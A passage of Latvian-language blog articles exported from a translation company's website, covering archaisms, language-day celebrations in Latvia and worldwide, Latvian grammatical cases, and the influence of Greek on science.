rakstnieki, lai padarītu savu daiļradi senatnīgāku un vairāk pietuvinātu stāsta laikam. Arhaismi visbiežāk ir sastopami vēsturiskos romānos, dzejā, filozofijas grāmatās, fantāzijas literatūrā, tiesību zinātnē, zinātniskajos rakstos, tehnoloģiju aprakstos, ģeogrāfiskajos aprakstos, reliģijas vēstures grāmatās. Šie ir darbi, kas uztur arhaismus dzīvus vismaz teorētiski. Ja tie tiek atpazīti, tos var arī atdzīvināt. Interesanti ir lasīt dažādu pasaules autoru uzrakstītos vēsturiskos romānus, kur plaši tiek lietoti arhaismi, galvenokārt, lai radītu laikmeta sajūtu. Daudzi arhaismi ir diezgan īpatni un bieži tiek izmantoti humoristiska efekta radīšanai. Tieši pateicoties dzejniekiem, rakstniekiem, folkloras vācējiem un pētniekiem, valodniekiem un valodniecības entuziastiem, latviešu valodas vecvārdi ir tik plaši apkopoti, apzināti, tos lieto retumis dažādos Latvijas nostūros, it īpaši vecākā gājuma cilvēki. Mūsdienu jaunatnei vecvārdi gan izraisa smaidu, apbrīnu, bet vecvārdus tie aizstāj ar žargoniem, svešvārdiem un mūsdienīgāku leksiku. Mēs Skrivanek komanda nereti saņemam tulkošanas pieprasījumus par vecvārdu, apvidvārdu un pat jaunvārdu atveidi svešvalodā. Ja arī tev ir nepieciešami šādi tulkojumi, droši sazinies, mēs ar prieku palīdzēsim! --- > Kādas ir valodas svinēšanas tradīcijas Latvijā un pasaulē? Lasi šajā rakstā! - Published: 2022-07-11 - Modified: 2022-09-12 - URL: https://skrivanek.lv/vai-valodas-var-svinet/ - Kategorijas: Raksti - Translation Priorities: Optional VAI VALODAS VAR SVINĒT? Valoda ir kultūras ceļvedis. Tā stāsta, no kurienes nāk tās cilvēki un uz kurieni tie dodas! Kurš ir teicis, ka jāsvin tikai Lieldienas, Ziemassvētki un Jāņi? Var taču svinēt visu, arī pirmo gulbju atlidošanu, pirmo pērkonu, pirmo sniegputeni, satikšanās mirkli, arī valodu! Valoda dzīvo mūsu vidū ik dienas, katrā notikumā un katrā cilvēkā, kuru satiekam. Valsts valodas svinēšana nav jaunums, tomēr līdz šim tie bija neoficiāli svētki, kurus kopš 2012. gada Jura Alunāna dzimšanas dienā rīkoja Rakstniecības un mūzikas muzejs ik gadu 13. maijā, lai radošā un mūsdienīgā veidā svinētu faktu, ka mūsu valsts valoda ir latviešu valoda. KAS MUMS IR MŪSU VALODA? Latviešu valoda mums ir galvenais saziņas līdzeklis. Tā dzīves laikā ir blakus vienmēr un visur. Valsts valoda ir daļa no katra cilvēka, valoda ir viņu saknes un dzīvesziņa. Tā ir mūsu vecāku valoda. Valoda, kura dzīvo mums blakus kopš bērnības. Valoda, ar kuru mēs izaugam. Tā ir mūsu identitāte, piederība savai zemei − Latvijai. Valoda ir katras valsts, katras tautas dvēsele, vislielākā bagātība, kuru nespēj atņemt neviens. Tā ir mūsu domu, jūtu, vārdu brīvība, caur to mēs izdziedam savu identitāti, vēsturi, kultūru, prieku un arī sāpes. Literārā valoda veido katra cilvēka pasaules uztveri, attīsta prātu, veido personības. Tā ir būtisks izpausmes un izteiksmes veids. Svinēt savas valsts valodas dienu nozīmē izrādīt cieņu savai tautai un savai dzimtajai valodai, tas arī palielina izpratni par kultūru, vēsturi, kas saistīta ar mūsu izcelsmi. Ir svarīgi atzīmēt šo dienu, jo tā būs kā atgādinājums nākamajām paaudzēm un radīs sajūtu, ka mums pieder kas ļoti vērtīgs un sargājams. Mēs svinam valodu ne tikai oficiālajās valodas dienās – rakstot Vispasaules latviešu valodas diktātu, mēs godinām valodu, papildinot savas valodas zināšanas valodu kursos, mēs svinam latviešu valodu, studējot baltu valodniecību, mēs svinam savu valodu! Dziedot savas tautas dziesmas, piedaloties Dziesmu un deju svētkos, arī tad mēs svinam savu valodu. VALODU SVINĒŠANA PASAULĒ Katra tauta, kurai ir svarīga sava valoda, kurai ir svarīga sava identitāte, svinēs valodas dienu. Lielākā daļa pasaules valodu ir centušās sevi nepazaudēt cauri gadsimtiem. Vienmēr ir bijis kāds, kas vēlējies jebkurai tautai atņemt šo vērtību – vai tā ir bijusi okupācija, kolonizācija, kari, valstu apvienošanās, tautas identitātes zaudēšana. Pasaulē plaši tiek svinētas ANO valodu dienas, tāpat Eiropas valodu dienas, tāpat kopš 1999. gada visā pasaulē svin Starptautisko dzimtās valodas dienu. Reti kura tauta, kas apzinās savu identitāti, nesvin savas valsts valodas dienu – vai tā būtu Gruzija, Portugāle, Ukraina vai jebkura cita valsts pasaulē. Papildus Starptautiskās dzimtās valodas svinībām, mēs noteikti atradīsim katras valsts kalendārā savu valsts valodas svinamo dienu, atradīsim savas tradīcijas un valodas vēstures godināšanu. --- > Kas ir Starptautiskā dzimtās valodas diena? Kad, kādās valstīs un kā tā tiek atzīmēta? Vairāk uzzināsi šajā rakstā. - Published: 2022-07-11 - Modified: 2024-10-18 - URL: https://skrivanek.lv/starptautiska-dzimtas-valodas-diena/ - Kategorijas: valodu svinēšana - Translation Priorities: Optional KAS IR STARPTAUTISKĀ DZIMTĀS VALODAS DIENA? Nācija bez valodas ir tauta bez sirds – velsiešu teiciens. Starptautiskā dzimtās valodas diena tiek svinēta visā pasaulē katru gadu 21. februārī kopš 1999. gada, kad UNESCO izveidoja valodas piemiņas dienu. Tās izveidošanas mērķis ir veicināt izpratni par pasaules valodu un kultūru daudzveidību, jo liela daļa no pasaules valodām ir apdraudētas un vairums no tām var kļūt par mirušām valodām. Šī diena ir būtiska jebkurai nācijai pasaulē. 2009. gadā UNESCO ziņoja, ka aptuveni 600 valodas visā pasaulē ir apdraudētas, visvairāk Indijā, ASV un Brazīlijā. Tātad valoda bija arī iemesls cīņai par neatkarību Bangladešā 1952. gadā un iedvesmoja šīs Starptautiskās dienas izveidi 1999. gadā. Valoda ir visspēcīgākais veids, kā saglabāt un attīstīt savas valsts kultūru, veicināt to visā pasaulē. Šī nelaimīgā incidenta dēļ Starptautiskā dzimtās valodas diena tiek svinēta visā pasaulē, savukārt kā valsts svētki, tā tiek svinēta Bangladešā. DZIMTĀS VALODAS PIEMINEKLIS Pirmo reizi UNESCO Starptautisko dzimtās valodas dienu izsludināja 1999. gada 17. novembrī. Šīs dienas datums ir kā piemineklis 1952. gada 21. februārim, kad četri jauni studenti Dakā, Bangladešas galvaspilsētā tika nogalināti urdu un bengāļu valodas pretrunu dēļ. 1947. gadā, kad Pakistānai bija divas atsevišķas daļas: Austrumpakistāna un Rietumpakistāna, abas daļas ļoti atšķīrās viena no otras gan kultūras, gan valodas ziņā. 1948. gadā Pakistānas valdība pasludināja urdu valodu par vienīgo Pakistānas valsts valodu, lai gan arī bengāļu valodā runāja lielākā daļa Pakistānas iedzīvotāju. Austrumpakistānas iedzīvotāji pret to ļoti protestēja, pieprasot, lai arī bengāļu valoda kļūtu par Pakistānas otro valsts valodu. Lai nomierinātu situāciju valstī, Pakistānas valdība aizliedza jebkādus mītiņus un publiskas sanāksmes. Taču Dākas universitātes studenti ar plašu sabiedrības atbalstu uzsāka aktīvu masveida mītiņu un protesta akciju sēriju valstī. 1952. gada 21. februārī studentu sarīkotā mītiņa laikā policija atklāja uguni uz mītiņa dalībniekiem, nogalinot 4 universitātes studentus un simtiem ievainojot. Šis traģiskais notikums ir viens no retajiem gadījumiem pasaules vēsturē, kad cilvēki ziedojuši savas dzīvības savas dzimtās valodas dēļ. Kopš tā laika Bangladešā atzīmē Dzimtās valodas dienu, vienu no traģiskākajām dienām valsts vēsturē. Valsts iedzīvotāji šajā dienā apmeklē Šahīda mināru – nacionālo pieminekli Dakā, kas izveidots, lai pieminētu tos, kuri tika nogalināti bengāļu valodas kustības demonstrāciju laikā 1952. gadā Austrumpakistānā. Pēc ilgas cīņas bengāļu valoda kļuva par otru valsts valodu 1956. gadā. 21. februāri Pakistānā dēvē par Valodu kustības dienu vai Mocekļu dienu. 1998. gada 9. janvārī Rafikuls Islams, Bangladešā dzimis kanādiešu valodas aktīvists, nosūtīja vēstuli Kofi Annanam, aicinot viņu rīkoties, lai glābtu pasaules tautu valodas no izzušanas, pasludinot Starptautisko dzimtās valodas dienu visā pasaulē. Kā datums tika ierosināts 21. februāris, lai pieminētu Dākā bojāgājušos bengāļu studentus. Šis priekšlikums tika iesniegts arī Bangladešas parlamentā, ko Bangladešas valdība iesniedza UNESCO kā oficiālu priekšlikumu. Visbeidzot 1999. gada 17. novembrī UNESCO Ģenerālā asambleja vienbalsīgi nolēma – 21. februāris visā pasaulē tiek pasludināts par Starptautisko dzimtās valodas dienu, lai pieminētu bojāgājušos, kuri ziedoja savas dzīvības savas dzimtās valodas vārdā. Kopš tā laika katru gadu UNESCO katrai Starptautiskās dzimtās valodas dienai izvēlas tēmu un sponsorē ar to saistītos pasākumus savā galvenajā mītnē Parīzē. Plaši šo dienu svin Čīlē, Krievijā, Kanādā, Filipīnās, Apvienotajā Karalistē un Ēģiptē. Šo dienu svin arī daudzās pasaules valstīs visos kontinentos kā Valsts valodas dienu – Latvijā, Lietuvā, Itālijā, Polijā un citviet. --- > Latviešu valodas diena tiek svinēta 15. oktobrī. Svinību mērķis ir godināt latviešu valodu kā vienīgo mūsu valsts valodu. - Published: 2022-07-11 - Modified: 2024-10-18 - URL: https://skrivanek.lv/valsts-valodas-diena/ - Kategorijas: valodu svinēšana - Translation Priorities: Optional VALSTS VALODAS DIENA Valoda dzīvo tik ilgi, cik ilgi tajā runā. MŪSU LATVIEŠU VALODA Cik bieži mēs aizdomājamies, kas ir mūsu valoda, kā valoda vispār ir radusies? Kādēļ tieši mūsu valoda ir MŪSU valoda? Patiesībā jau neviens tā īsti nezina, kā un kad tieši rodas valoda. Tas ir tāpat kā rodas kalni, tuksneši un vējš. Bet katrai valodai noteikti ir pirmās rakstiskās liecības – vai tie būtu rūnu raksti, ķīniešu rakstu zīmes, latīņu burti. Vai zināji, ka pirmais senākais latviešu valodā rakstītais teikums bija – tā ir, kā ir? Atslēga uz veiksmīgu saziņu Latvijā, kā arī dziļāku mūsu kultūras izpratni ir latviešu valodas prasme un lietojums. Mūsu valoda ir viena no daudzām pasaules valodām, kura gadsimtu gaitā nav zaudējusi savu identitāti. Ne vienmēr tas ir bijis viegli, bet mūsu tautas spīts un lielā mīlestība uz savu zemi ir bijis iemesls, kādēļ mēs vēl joprojām runājam savā valodā. VALSTS VALODAS DIENA LATVIJĀ Viena no valstiskās, nacionālās piederības un identitātes pamatvērtībām ir valoda. Mūsu tautai tā ir latviešu valoda. Lai īpaši godinātu latviešu valodu kā vienīgo mūsu valsts valodu, pēc Valsts prezidenta Egila Levita ierosinājuma kopš 2021. gada katru gadu svinam un svinēsim Valsts valodas dienu 15. oktobrī. Šis datums nav izvēlēts pavisam nejauši, 1998. gada 15. oktobrī Satversmes 4. pantā tika nostiprināta valsts konstitucionālā vērtība – valsts valoda Latvijas Republikā ir latviešu valoda. Mūsu valodas svinēšana ir kā atgādinājums visiem latviešiem pasaulē, ka esam atbildīgi visi par savu valodu, tās kopšanu, lietošanu un attīstību. Tas ir kā aicinājums tiekties pēc izcilības valodas prasmē un lietot valsts valodu ikdienas saziņā LATVIEŠU VALODAS CEĻŠ CAURI GADSIMTIEM Latviešu valodu sāka pierakstīt vācu mācītāji jau 16. gadsimtā, lai varētu no kanceles uzrunāt latviešu tautu un pievērst viņus kristietībai. 1694. gadā tika izdota Ernesta Glika latviešu valodā tulkotā Bībele. Parādījās arī pirmās ābeces un lūgšanu grāmatas. Jau 19. gadsimtā latviešu inteliģence sāka izdot latviešu laikrakstus, parādījās pirmie daiļliteratūras tulkojumi. No lauku ļaužu un ģimenes valodas latviešu valoda pamazām sāka kļūt par nācijas un kultūras valodu. Latviešu valoda turpināja attīstīties arī neskatoties uz mērķtiecīgo pārkrievošanas politiku Krievijas impērijas laikā. 1918. gadā, kad tika dibināta Latvijas valsts, latviešu valoda pirmo reizi kļuva par valsts valodu. PSRS okupācijas laikā latviešu valodu valstī lieto krietni mazāk, lielākoties mājās un ģimenes lokā, taču arī tajā laikā latviešu valoda saglabāja savu valsts valodas statusu un spēja izdzīvot. Pateicoties latviešu jaunajiem rakstniekiem, dzejniekiem, valodniekiem, zinātniekiem un mums pašiem, tiem, kas neaizmirst, runā, izkopj, māca, studē, izdzied, mūsu valoda dzīvo šodien, tā ir apstiprināta Satversmē, tā ir viena no 24 oficiālajām Eiropas Savienības valodām. Latviešu valodu atceras un svin arī daudzās latviešu diasporās visā pasaulē, to pasniedz vairākās ārvalstu universitātēs. „Turiet jūs, latvieši, savu valodu godā, un jums labi klāsies virs zemes. Jo, kas sevi pašu negodā, to arī citi negodās. ” /Juris Alunāns/ --- > Locījums ir lietvārda gramatiskā kategorija, kas izsaka priekšmetu, procesu vai pazīmju savstarpējās attieksmes. Latviešu valodā tie ir 7. - Published: 2022-07-11 - Modified: 2022-10-21 - URL: https://skrivanek.lv/kas-ir-locijums/ - Kategorijas: Locījumi, Raksti - Translation Priorities: Optional KAS IR LOCĪJUMS? NOMINATĪVS, ĢENITĪVS UN CITI LOCĪJUMI LATVIEŠU VALODĀ. Locījums ir lietvārda gramatiskā kategorija, kas izsaka priekšmetu, procesu vai pazīmju savstarpējās attieksmes. Locījuma forma norāda uz semantiskajām un sintaktiskajām funkcijām vārdkopā vai teikumā. Latviešu valodā locījumu parasti izsaka ar galotni. Katram lietvārda locījumam ir savs īpašs nosaukums, gluži tāpat kā cilvēkiem ir savs vārds. Latviešu valodā ir septiņi locījumi – nominatīvs, ģenitīvs, datīvs, akuzatīvs, instrumentālis, lokatīvs un vokatīvs. Locījumu nosaukumi ir aizgūti no latīņu valodas, tāpēc latviešu valodā tie skan nedaudz neparasti: Nominatīvs – casus nominativus; Ģenitīvs – genitivus, genetivus; Datīvs – casus dativus; Akuzatīvs – casus accusativus; Instrumentālis – casus instrumentalis; Lokatīvs – locativus; Vokatīvs – vocativus Visi locījumi, izņemot vokatīvu, var būt daudznozīmīgi atkarībā no lietojuma kontekstā. Locījumu skaits dažādās pasaules valodās ir ļoti atšķirīgs – dažās valodās ir tikai divi locījumi, piemēram, persiešu valodā. Arī arābu valodā ir tikai divas locījuma formas, tāpat mūsdienu angļu valodā, bet tikai tās attiecināmas uz personu vietniekvārdiem. Četri locījumi ir vācu un islandiešu valodā, savukārt pieci locījumi ir grieķu valodā un rumāņu valodā. Ir valodas, kurās sastopami seši lietvārdu locījumi – slovēņu, turku, krievu, latīņu. Latviešu valodā, kā arī lietuviešu, čehu, gruzīnu, poļu, horvātu, ukraiņu valodā ir septiņas locījuma kategorijas. Igauņu valodā izšķir pat 14 locījuma kategorijas, bet ungāru valodā – 18. Mūsdienu angļu valoda ir zaudējusi locījumu formas, šodien vairs izmanto tikai trīs locījumus – nominatīvu, akuzatīvu un ģenitīvu, veidojot šos locījumus, tiek izmantoti personu vietniekvārdi, kā arī prievārdi. Ir valodas, kurām attīstoties, tika sapludinātas vairākas locījumu formas, piemēram: sengrieķu valodā lokatīva locījums tika sapludināts ar datīvu. Visbiežāk sastopamie locījumi pasaules valodās ir nominatīvs, ģenitīvs, datīvs un akuzatīvs. --- > Nominatīvs latviešu valodā ir locījums, kas parasti apzīmē darbības darītāju. Tas atbild uz jautājumu − kas? - Published: 2022-07-11 - Modified: 2022-10-21 - URL: https://skrivanek.lv/nominativs/ - Kategorijas: Locījumi - Translation Priorities: Optional KAS IR NOMINATĪVS? NOMINATĪVA PIELIETOJUMS LATVIEŠU VALODĀ. Termins nominatīvs – casus nominativus, ir aizgūts no latīņu valodas, tulkojumā – nosaukts vārdā, vārds. Nominatīva locījums ir sastopams gandrīz visās pasaules valodās – albāņu, arābu, igauņu, sanskritā, slovāku, ukraiņu, ungāru, latviešu, lietuviešu, vācu, latīņu, grieķu, islandiešu, poļu, serbu, franču un daudz citās pasaules valodās. Atkarībā no valodas piederības kādai valodu grupai ir interesanti salīdzināt, kā veidojies nominatīva nosaukums. Lielākoties visās valodās nosaukums ir līdzīgs, tam ir kopīga sakne – nominat, bet ir valodas, kurās nominatīva nosaukums pilnībā atšķiras no latīņu nosaukuma. Minēsim interesantākos no tiem: Īru valodā ainmneach – cēlies no seno īru vārda ainmmnid (vārds) + galotne ach; Lietuviešu valodā vardininkas – cēlies no lietuviešu vārda vardas (vārds); Ungāru valodā alanyeset – ungāru alany (priekšmets)+ eset (locījums); Poļu valodā mianownik – poļu miano (vārds, tituls) + ‎galotne -nik. Nominatīvs latviešu valodā ir locījums, kas parasti apzīmē darbības darītāju. Tas atbild uz jautājumu − kas? Latviešu valodā nominatīvs piemīt lietvārdiem, īpašības vārdiem, vietniekvārdiem un skaitļa vārdiem. Nelokāmajiem lietvārdiem vienīgā forma atbilst nominatīvam. Latviešu valodā nominatīva locījuma nav vietniekvārdam − sevis. Nominatīva nozīmes latviešu valodā: Subjekta nozīme – darbības veicējs (tulks sasteidz darbu), vai stāvokļa izjutējs (tulce ir nogurusi) teikuma priekšmeta funkcijā; fakta konstatācija nominālā izteicējā (Es esmu korektore; Tas ir viņa tulkojums; Angļu valoda ir populāra); Objekta nozīme – darbības uztvērējs (Kursi netiek atcelti; Skrivanek birojs nav slēgts; Mums ir laba tulku komanda); Vokatīva funkcija – Korektor, vai tu pabeidzi darbu? Tulkotāj, kad tulkojums būs pieejams? --- > Ģenitīvs ir locījums, kas norāda uz piederību vai cilmi. Tas atbild uz jautājumu – kā? - Published: 2022-07-11 - Modified: 2022-09-06 - URL: https://skrivanek.lv/genitivs/ - Kategorijas: Locījumi - Translation Priorities: Optional KAS IR ĢENITĪVS? ĢENITĪVA LIETOJUMA PIEMĒRI. Ģenitīvs ir locījums, kas norāda uz piederību vai cilmi. Tas atbild uz jautājumu – kā? Latviešu valodā ģenitīva locījums piemīt lietvārdiem, īpašības vārdiem, vietniekvārdiem un skaitļa vārdiem. Ģenitīvs nepiemīt nelokāmajiem lietvārdiem, izņemot ģenitīveņus. Ģenitīveņu vienīgais locījums ir vienskaitļa un daudzskaitļa ģenitīvs. Galvenās ģenitīva locījuma funkcijas ir vairākas: Adnomināls − tāds, kas ir sintaktiski atkarīgs no lietvārda: Piederība – valodu skola, lietvārdu locījumi, tekstu tulks; Īpašība – prāta spēles, zināšanu papildināšana; Viela – stikla glāze, sudraba gredzens, dzelzs karote; Noderības jeb satura nozīme – angļu valoda, vasaras nometne; Subjekta ģenitīvs – bērnu nometne, tulces padoms, teksta analīze; Objekta ģenitīvs – teksta rediģēšana, tulkojuma korektūra, reklāmas adaptācija; Pielikuma ģenitīvs – Bērziņa kungs, Kaudzītes Matīss, Slieku ģimene. Dalāmais ģenitīvs – tase kafijas, kaudze dokumentu, desmit valodu, daudz pasniedzēju. Adverbāls − tāds, kas sintaktiski atkarīgs no darbības vārda: Noliegts teikuma priekšmets – nav laika, nav naudas, nepietiek vietu (var veidot arī ar trūkt, pietikt, vajadzēt); Tiešais objekts noliegumā – nerakstīt vēstuļu, nezināt vārda, nepazīt cilvēka; mūsdienu latviešu valodā parasti tiek lietots akuzatīvs (nepazīt cilvēku, nerakstīt vēstules, nezināt vārdu); Mērķa nozīme ar verbiem lūgt, alkt, gribēt, kārot– lūgt padoma, kārot zivju; mūsdienu latviešu valodā parasti tiek lietots prievārdisks savienojums ar vārdu pēc vai akuzatīvs (kārot pēc svaigām zivīm, ilgoties pēc vasaras); Ablatīva nozīme – (attālināšanās no kā) ar verbiem bēgt, bīties, baidīties un sargāties) – sargies vilciena! ; bēgt laimes, bīties soda; mūsdienu latviešu valodā parasti tiek lietots prievārdisks savienojums ar vārdu no (sargies no vilciena, bēgt no laimes, bīties no soda); Dalāmības nozīme, izsakot daļu no veselā ar verbiem gribēt, dzert, ēst– gribēt siera, dzert kafijas, ēst maizes; mūsdienu latviešu valodā parasti tiek lietots akuzatīvs (gribēt sieru, dzert kafiju, ēst maizi) vai ģenitīvs kopā ar mēra apstākļa vārdu (gribēt mazliet siera, ēst nedaudz maizes). Nelokāmo lietvārdu grupā ietilps ģenitīveņi – lietvārdi, kuriem ir tikai vienskaitļa un daudzskaitļa ģenitīva forma un ko parasti lieto apzīmētāja funkcijā, piemēram: bezsvara stāvoklis, divstāvu māja, augstkalnu gaiss. Tiek šķirti salikteņa ģenitīveņi – zempapēžu, pusaugu, kā arī prievārda ģenitīveņi – pirmskara, bezgaisa, starppilsētu. --- > Latviešu valodā datīvs norāda, ka kaut kas tiek dots. Datīva locījumu teikumā veido, izmantojot prievārdus vai vietniekvārdus. Tas atbild uz jautājumu − kam? - Published: 2022-07-11 - Modified: 2022-10-21 - URL: https://skrivanek.lv/dativs/ - Kategorijas: Locījumi - Translation Priorities: Optional KAS IR DATĪVS? DATĪVA LOCĪJUMA PIEMĒRI. Termins datīvs ir aizgūts no latīņu valodas cāsus datīvus (dāvināšanas locījums). Dionīsijs Trakss savā grāmatā “Gramatikas māksla” datīvu apzīmēja kā epistaltikḗ no darbības vārda epistéllō (sūtīt uz), kas cieši saistīts ar vārdu epistolē (vēstule). Valodām gadsimtiem mainoties un attīstoties, vairākas valodas ir zaudējušas dažas locījuma formas vai tās ir saplūdušas savā starpā. Piemēram – vecajā angļu valodā sākotnēji pastāvēja datīva locījums, taču jau viduslaikos datīvs tika apvienots ar akuzatīva locījumu, kas tiek dēvēts par objektīvu locījumu. Datīva locījumu teikumā veido, izmantojot prievārdus vai vietniekvārdus. Vācu valodā datīva locījumu veido, izmantojot artikulus, prievārdus, kā arī atsevišķos gadījumos lietvārdiem pievieno galotni. Mūsdienu grieķu valodā datīva locījums netiek lietots, izņemot arhaiskos izteicienos. Latviešu valodā datīvs norāda, ka kaut kas tiek dots. Tas atbild uz jautājumu − kam? Gan lietuviešu, gan latviešu valodai ir spēcīgi izteikta locījumu sistēma. Latviešu valodas lietvārdi ļoti labi saglabā indoeiropiešu valodu datīva locījuma formu, īpašības vārdu galotnes tiek pielāgotas lietvārdu galotnēm. Galotne -s datīva formā tiek atmesta, vienīgi tā saglabājas personu vietniekvārdiem daudzskaitlī – mums, jums. Latviešu valodā datīvs piemīt lietvārdiem, izņemot nelokāmos lietvārdus un atgriezeniskos lietvārdus. Tāpat datīva locījuma forma tiek lietota ar īpašības vārdiem, vietniekvārdiem un skaitļa vārdiem. Ceturtās un piektās deklinācijas lietvārdiem datīva galotne atšķiras atkarībā no lietvārda dzimtes. Datīva nozīmes latviešu valodā:Adverbāls datīvs: Objekta nozīme – darbības adresāts; netiešais objekts attiecībā pret akuzatīvu kā tiešo objektu – jautāt tulkam, palīdzēt korektorei, nosūtīt tulkotājam; darbības mērķis vai nolūks – nodot tulkojumu redaktūrai, sūtīt pieteikumu valodu kursiem; Subjekta nozīme – parasti vajadzības izteiksmē: viņam ir jātulko konference, angļu valodas kursiem ir jāsākas rudenī; Piederības nozīme – man ir tulkojums, mūsu tulkiem ir laba izglītība, vasaras nometnei ir nepieciešams pieteikums; Stāvokļa izjutēja nozīme – tulcei bieži sāp galva, korektoram ir grūti. Adnomināls datīvs – jautājums tulkam, ticība tulkošanas birojam. EGLĒM VAI EGĻIEM? ielūgumu, kas adresēts Eglēm vai Egļiem? Kā pareizi? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms --- > Akuzatīvs ir vārda locījums, kas paskaidro teikuma priekšmetu vai personu. Akuzatīvs atbild uz jautājumu – ko? - Published: 2022-07-11 - Modified: 2022-10-21 - URL: https://skrivanek.lv/akuzativs/ - Kategorijas: Locījumi - Translation Priorities: Optional KAS IR AKUZATĪVS? AKUZATĪVA LOCĪJUMA PIEMĒRI LATVIEŠU VALODĀ. Akuzatīvs ir vārda locījums, kas paskaidro teikuma priekšmetu vai personu. Latviešu valodā akuzatīvs piemīt vairākām vārdšķirām – lietvārdam, īpašības vārdam, vietniekvārdam, skaitļa vārdam. Akuzatīvs atbild uz jautājumu – ko? Termins akuzatīvs cēlies no latīņu accusativus, kas savukārt veidojies no accuso (apsūdzēt, vainot) + galotne -ivus. Interesants ir akuzatīva locījuma nosaukums krievu valodā – винительный, kas cēlies no vārda вини́ть – apsūdzēt. Akuzatīvs ir raksturīgs agrīnajām indoeiropiešu valodām, tostarp vairākām, kas pastāv arī mūsdienās – albāņu, armēņu, latīņu, sanskritam, grieķu, vācu, poļu, krievu un serbu valodai. Akuzatīva locījumu lieto arī baltu valodās, somu un ungāru valodā, visās turku valodās un arābu valodā. Latviešu valodā teikumā svarīgākie locījumi ir nominatīvs (teikuma priekšmets) un akuzatīvs (papildinātājs), kas arī veido minimālo locījumu klāstu. Nākamie svarīgie locījumi būs ģenitīvs (izsaka piederību), un datīvs (netiešais papildinātājs). Citi locījumi parasti ir saistīti ar dažādu darbības un priekšmetu attieksmju nianšu īstenošanos – instrumentālis, lokatīvs. Pieminot divus svarīgākos locījumus, vērts atcerēties, ka persiešu valodā tiek izmantoti tikai divi lietvārda locījumi un tie ir nominatīvs un akuzatīvs. AKUZATĪVA NOZĪMES Adverbiāls akuzatīvs: objekta nozīme – tiešais objekts blakus darbības vārdam: tulkot tekstu, rediģēt tulkojumu, mācīties valodu; laika nozīme – lasīt tulkojumu divas stundas, strādāt visu nakti; vietas (virziena) nozīme – iet uz Skrivanek biroju. Adnomināls akuzatīvs – gadu ilgs pārtraukums, divu lapu garš tulkojums. Akuzatīva lietošanā latviešu valodā mēdz būt arī vairākas raksturīgas kļūdas – konstrukcijās ar darbības vārdu vajadzības izteiksmē. Ar darbības vārdu vajadzības izteiksmē saistās lietvārda nominatīvs. Savukārt, ja ar darbības vārdu vajadzības izteiksmē saistīts cits darbības vārds nenoteiksmē, lietvārds lietojams akuzatīvā: jātulko iesniegtie projekti – jāturpina tulkot iesniegtos projektus. MAN INTERESĒ VAI MANI INTERESĒ? Bieži dzirdam gan „man interesē sports”, gan „mani interesē sports”. Kā pareizi? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms --- > Grieķu valoda ir ne tikai skaista valoda, tai ir arī tūkstošiem gadu sena vēsture un liela ietekme uz daudzu pasaules valodu attīstību un vārdu krājumu. - Published: 2022-07-11 - Modified: 2024-08-13 - URL: https://skrivanek.lv/grieku-valodas-nozimigums-zinatnes-un-atklajumu-pasaule/ - Kategorijas: Raksti - Translation Priorities: Optional GRIEĶU VALODAS NOZĪMĪGUMS ZINĀTNES UN ATKLĀJUMU PASAULĒ Grieķu valoda ir ne tikai skaista valoda, tai ir arī tūkstošiem gadu sena vēsture un liela ietekme uz daudzu pasaules valodu attīstību un vārdu krājumu. Grieķu valoda uzskatāma par senāko Eiropas civilizācijas valodu. Tā bija antīkās pasaules svarīgākā valoda, kurā runāja tirdzniecības, izglītības, politikas, mākslas un zinātnes vajadzībām. Grieķu interese par fiziskās pasaules zinātnisko specifikāciju ir vērojama jau sestajā gadsimtā pirms mūsu ēras, un viņi bieži tiek dēvēti par zinātnes, medicīnas, zooloģijas un daudzu citu jomu izgudrotājiem. Grieķu filozofi sāka skatīties uz pasauli dažādos veidos. Viņi nāca klajā ar teorijām par to, kā pasaule darbojas, un domāja, ka dabiskā pasaule pakļaujas noteiktiem likumiem, kurus var novērot un mācīties, pētot. GRIEĶU VALODA UN MATEMĀTIKA Grieķus aizrāva skaitļi un to pielietojums reālajā pasaulē. Atšķirībā no vairuma agrāko civilizāciju viņi pētīja matemātiku kā zinātni un izstrādāja sarežģītas matemātiskas teorijas un pierādījumus. Viens no līdz pat mūsdienām zināmais grieķu zinātnieks vārdā Pitagors pētīja ģeometriju. Viņš atklāja Pitagora teorēmu, ko joprojām izmanto matemātikas un ģeometrijas zinātnē. Par ģeometrijas tēvu tiek dēvēts sengrieķu matemātiķis Eiklīds. Nozīmīgākais Eiklīda darbs ir Elementi (13 grāmatas), kur aplūkota planimetrija, stereometrija un skaitļu teorija. Tas ir pirmais mēģinājums konstruēt ģeometrijas loģisko uzbūvi, izmantojot aksiomātiku. Šis darbs ietekmēja matemātikas attīstību līdz pat mūsdienām. Eiklīdam ir arī darbi astronomijā, optikā un mūzikā. Elementos aprakstītā ģeometrijas sistēma ilgu laiku bija pazīstama vienkārši kā ģeometrija un tika uzskatīta par vienīgo iespējamo ģeometriju. Mūsdienās to dēvē par Eiklīda ģeometriju, lai atšķirtu no citām ģeometrijām, kas tika atklātas 19. gadsimtā. Šīs grāmatas kļuva par standarta mācību grāmatu par šo tēmu 2000 gadus. Eiklīda Elementi dažkārt tiek saukta par veiksmīgāko mācību grāmatu vēsturē. GRIEĶU VALODA UN ASTRONOMIJA Grieķi izmantoja savas prasmes matemātikā, lai palīdzētu aprakstīt zvaigznes un planētas. Viņi izvirzīja teoriju, ka Zeme var riņķot ap Sauli, un nāca klajā ar diezgan precīzu Zemes apkārtmēra aprēķinu. Viņi pat izstrādāja ierīci planētu kustību aprēķināšanai, ko dažreiz uzskata par pirmo datoru. GRIEĶU VALODA UN MEDICĪNA Grieķi bija viena no pirmajām civilizācijām, kas pētīja medicīnu kā zinātnisku veidu, kā izārstēt slimības. Grieķu ārsti, kas pētīja sasirgušos cilvēkus, novēroja viņu simptomus un pēc tam nāca klajā ar dažiem praktiskiem ārstēšanas veidiem. Slavenākais grieķu ārsts bija Hipokrāts. Hipokrāts mācīja, ka slimībām ir dabiski cēloņi un dažreiz tās var izārstēt ar dabīgiem līdzekļiem. Visi pasaules medicīnas studenti joprojām dod Hipokrāta zvērestu ievērot medicīnas ētiku. GRIEĶU VALODA UN MEDICĪNA Grieķiem patika pētīt apkārtējo pasauli, tostarp dzīvos organismus. Aristotelis ļoti detalizēti pētīja dzīvniekus un savus novērojumus pierakstīja grāmatā Dzīvnieku vēsture. Viņš gadiem ilgi ietekmēja zoologus, klasificējot dzīvniekus atbilstoši to dažādajām īpašībām. Vēlāk grieķu zinātnieki turpināja Aristoteļa darbu, pētot un klasificējot augus. SLAVENĀKIE GRIEĶU IZGUDROJUMI 